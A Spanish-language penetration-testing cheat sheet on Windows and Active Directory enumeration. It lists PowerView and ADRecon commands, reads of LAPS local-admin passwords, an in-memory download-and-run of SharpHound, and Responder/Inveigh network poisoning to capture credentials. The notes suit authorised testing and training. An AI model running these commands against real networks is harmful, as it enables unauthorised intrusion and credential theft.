Enumeracion

1. Enumeración de la máquina local

Sysinternals de Windows

Sysinternals Suite - Windows Sysinternals | Microsoft Docs

$ Get-ComputerInfo
  • Descargar en memoria scripts

$ iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1'))
  • comprobar si un equipo no tiene parches de seguridad instalados

$ HOSTNAME.EXE
$ Get-WmiObject -Class win32_OperatingSystem | select version,buildnumber
$ wmic qfe list full | findstr /i hotfix

En la web https://patchchecker.com/ podemos encontrar, según la versión de build de Windows, qué vulnerabilidades le afectarían debido a falta de actualizaciones, y puede ser usado para escalar privilegios.

2. Enumeración del dominio

. .\ADRecon.ps1 
get-netcomputer
  • Listar los usuarios del dominio

Get-DomainUser | select -ExpandProperty cn 
  • Listar los equipos del dominio

Get-DomainComputer
  • Listar los dominios del forest

Get-ForestDomain 
  • Listar los tipos de "confianza" (trust) de los dominios/forest

Get-DomainTrust 
Get-ForestTrust 
  • La información de un grupo del dominio

Get-DomainGroup "Domain Admins" 
  • Listar los miembros de un grupo del dominio

Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername 
  • Listar shares del dominio, ignorando los default shares y check access

Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess 
Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname 
  • Listar política de contraseñas

(Get-DomainPolicy)."SystemAccess" 
  • Usuarios con el SID History (powerview)

Get-DomainUser -LDAPFilter '(sidHistory=*)' 
  • Listar shares del dominio que el usuario actual tiene acceso

Find-DomainShare -CheckShareAccess 
  • Comprobar configuracion de bitlocker

manage-bde.exe -status 
Invoke-Inveigh -HTTP N -NBNS Y -ConsoleOutput Y -EvadeRG Y 

LAPS

Install-Module -Name [AdmPwd.PS](http://admpwd.ps/) 
  • Si LAPS se encuentra instalado en el equipo

REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul 
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll' 
  • Identificar si se encuentra instalado en el DC

Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll'
Get-ChildItem 'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll'
  • Listar el atributo ms-mcs-admpwd

Get-NetComputer | Select-Object 'name','ms-mcs-admpwd' 
Get-DomainComputer -identity <Hostname> -properties ms-Mcs-AdmPwd
Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'
  • Lista el usuario o grupos que tienen permisos de lectura a la propiedad de LAPS para un equipo específico

Get-NetComputer -ComputerName 'LAPSCLIENT.test.local' -FullData | Select-Object -ExpandProperty distinguishedname | ForEach-Object { $*.substring($*.indexof('OU')) } | ForEach-Object {Get-ObjectAcl -ResolveGUIDs -DistinguishedName $*} | Where-Object {($*.ObjectType -like 'ms-Mcs-AdmPwd') -and ($*.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {Convert-NameToSid $*.IdentityReference} | Select-Object -ExpandProperty SID | Get-ADObject 
  • Listar la ACL para todas las OU donde algún usuario tenga permisos de lectura sobre el atributo LAPS

Get-NetOU | Get-ObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectType -like 'mc-ms-AdmPw') -and ($_.ActiveDirectoryRights -match 'ReadProperty')}| ForEach-Object{$_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID;$_} 

Network poissoning

Una vez estamos conectados a la red de la infraestructura, con Responder podemos suplantar los servicios de LLMNR y NBT-NS, ya que se transmiten vía UDP

responder -I <InterfazDeRed> 
responder -I <InterfazDeRed> -Prdwv 

Bloodhound

Es la herramienta por excelencia para la enumeración de un dominio.

Para ello, se ha creado una sección explícita de la herramienta.

Last updated